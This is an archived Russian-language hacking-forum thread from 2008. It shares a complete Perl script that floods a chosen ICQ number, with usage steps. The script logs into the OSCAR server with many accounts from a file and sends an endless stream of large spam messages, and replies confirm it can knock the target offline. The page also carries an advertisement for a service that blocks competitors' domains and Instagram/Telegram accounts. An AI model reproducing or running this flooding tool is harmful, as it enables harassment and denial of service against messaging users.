Форум АНТИЧАТ - Flooder by eXe pablik v 1.0

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > ICQ
Flooder by eXe pablik v 1.0

Опции темы

Поиск в этой теме

Опции просмотра

Flooder by eXe pablik v 1.0

26.05.2008, 00:18

~~*eXe*~~

Banned

Регистрация: 20.05.2008

Сообщений: 281

Провел на форуме:
3200135

Репутация: 575

Отправить сообщение для *eXe* с помощью ICQ

Flooder by eXe pablik v 1.0

Старая версия. Была уже полупаблик. Так пусть будет уже доступна всем!

версия для перла... скапируйте в текстовик и перименуйте в формат pl

PHP код:


		
			
#!/usr/bin/perl

use threads;

use threads::shared;

use Socket;

use Tk;

my($main,$Uin,$Time);

$main=MainWindow->new(-title => 'eXe_FlooD');

$main->resizable( 1, 0 );

$main->Label(-text => 'ICQ')->pack;

$Uin=$main->Entry(-width => 12)->pack;

$main->Label(-text => 'Timeout (ms):')->pack;

$Time=$main->Entry(-width => 12)->pack;

$main->Button(-text => 'FUCK_IT',

-command => \&go)->pack(-side => 'top');

$main->Label(-text => 'Coded By eXe ')->pack;

$main->Label(-text => 'Version pablic')->pack;

$main->Label(-text => 'Specialy for Antichat')->pack;

system("cls");

MainLoop;

sub go {

my $targetUin = $Uin->get;

my $timer = $Time->get;

my $message = ' *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL*  *WALL* *WALL* *WALL* *WALL* ';

my ($host,$port) = ('login.oscar.aol.com', 5190);

my @uins : shared;

open(FILE, '<uins.txt');

@uins = <FILE>;

close(FILE);

chomp(@uins);

my $threads = scalar @uins; #количество потоков = количеству асек в файле

my @thread;

for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 1 } #задержка перед подключением уинов

for(1..$threads) { $thread[$_]->join; }



sub flood {

    my ($uin,$password) = split(/;/,shift(@uins));

    my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.

    "\x00\x02".int2bytes(length($password)).

    substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).

    "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".

    "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".

    "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".

    "\x0E\x00\x02\x75\x73";

    my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));

    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));

    connect(SOCKET,sockaddr_in($port,inet_aton($host)));

    my $response;

    sysread(SOCKET,$response,10);

    syswrite(SOCKET,$FLAP.$SNAC);

    sysread(SOCKET,$response,65535);

    close(SOCKET);



    if($response=~/MISMATCH_PASSWD/) { return }

    my ($BOS_Host, $BOS_Port, $Cookie);

    if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {

        $Cookie = parsCookie($response);

        print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"

    } else { return }

    $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;

    $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));



    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));

    connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host)));

    sysread(SOCKET,$response,10);

    syswrite(SOCKET,$FLAP.$SNAC);

    sysread(SOCKET,$response,65535);



    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".

    "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".

    "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".

    "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".

    "\x00\x01\x01\x10\x02\x8A";

    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));



    syswrite(SOCKET,$FLAP.$SNAC);

    for(;;) {

        $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02".

        pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).

        "\x00\x00".

        "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".

        "\x00\x0A\x00\x02\x00\x01\x00\x0F".

        "\x00\x00\x27\x11". #хз

        int2bytes(length($message)+62). #61 + длина текста

        "\x1B\x00\x08".("\x00"x19).

        "\x03\x00\x00\x00".

        "\x00\x02\x00\x0E\x00\x02".("\x00"x13).

        "\x01\x00\x00\x00\x00".

        "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";

        $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));

        syswrite(SOCKET,$FLAP.$SNAC);

 print "$uin [+] \n";

        sleep ($timer/60); #ЗАДЕРЖКА МЕЖДУ СООБЩЕНИЯМИ



    }



}



sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое



sub parsCookie { #парсер куки

    my $cookie = shift;

    my $i++;

    for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }

    return substr($cookie,4+$i,256)

}



BEGIN {    #счётчик номера пакета

    my $seqNum = int(rand(65535));

    sub seqNum {

        $seqNum++;

        $seqNum = 0 if $seqNum > 65535;

        return int2bytes($seqNum)

    }

}

}

кидаем скрипт в папку.
создаём текстовик uins.
кидаем туда номера и флудим.

Последний раз редактировалось *eXe*; 26.05.2008 в 01:10..

26.05.2008, 00:26

Zitt

Познавший АНТИЧАТ

Регистрация: 07.05.2006

Сообщений: 1,031

Провел на форуме:
5885100

Репутация: 773

Отправить сообщение для Zitt с помощью ICQ

Bareword found where operator expected at 1.pl line 63, near "$BO S_Host"
(Missing operator before S_Host?)
syntax error at 1.pl line 63, near "$BO S_Host"
BEGIN not safe after errors--compilation aborted at 1.pl line 114.

ругаецца(((

26.05.2008, 00:57

Nightmarе

Познавший АНТИЧАТ

Регистрация: 29.04.2007

Сообщений: 1,189

Провел на форуме:
5749763

Репутация: 1680

Отправить сообщение для Nightmarе с помощью ICQ

Кто перепишет под хост тому сразу +10!!!

26.05.2008, 08:07

MaTpOc

Познавший АНТИЧАТ

Регистрация: 05.05.2008

Сообщений: 1,078

Провел на форуме:
10311449

Репутация: 1357

Это штуковина из сети выбивает???

26.05.2008, 10:51

brasco2k

Постоянный

Регистрация: 23.11.2007

Сообщений: 342

Провел на форуме:
1215706

Репутация: 310

Цитата:

Сообщение от MaTpOc

Это штуковина из сети выбивает???

Да при большом количестве отправленных сообщений.

26.05.2008, 10:54

~~Piflit~~

Banned

Регистрация: 11.08.2006

Сообщений: 1,522

Провел на форуме:
5128756

Репутация: 2032

Отправить сообщение для Piflit с помощью ICQ

Цитата:

Сообщение от Zitt

пробел убери

26.05.2008, 21:42

~~.:KeepeR:.~~

Banned

Регистрация: 18.02.2008

Сообщений: 47

Провел на форуме:
477406

Репутация: 129

Отправить сообщение для .:KeepeR:. с помощью ICQ

У меня тоже дофига ошибок... и перл вроде нормальный....

Цитата:

Odd number of args to Tk::Button->new(...)
at C:\flooder_icq.pl line 13

PHP код:


		
			
$main->Button(-text => 'FUCK_IT', 

-command => &go)->pack(-side => 'top');

Гду тут ошибка?

Последний раз редактировалось .:KeepeR:.; 26.05.2008 в 21:46..

28.05.2008, 21:56

~~Chuck~~

Banned

Регистрация: 23.07.2007

Сообщений: 87

Провел на форуме:
2147329

Репутация: 613

*eXe*, наглости хватило чтобы без копирайтов написать и название на своё поменять???
Вот первоисточник:
http://forum.asechka.ru/showthread.php?t=103765

Автор сего творения наш ачатовский юзер юзер C!klodoL. =////

29.05.2008, 02:39

flabb

Новичок

Регистрация: 28.03.2008

Сообщений: 12

Провел на форуме:
55480

Репутация: 8

Жесть....Плагиат полный....Узнаю раставленные мной таймауты в коде C!klodoL и свою форму

з.ы. только мало понимающий чел не поменяет таймаут подключения уинов.....

Код:

for(1..$threads) { $thread[$_] = threads->create(&flood); sleep 1 } #задержка перед подключением уинов

Последний раз редактировалось flabb; 29.05.2008 в 02:41..

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Менеджер аккаунтов Вконтакте AccsManager 1.0	diehard	Разное - Покупка, продажа, обмен	18	03.07.2008 11:00
из pl в exe	ZET36	PHP, PERL, MySQL, JavaScript	1	29.03.2008 12:05
Adobe выпускает систему AIR 1.0	xxChaoSxx	Мировые новости	1	26.02.2008 15:54

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход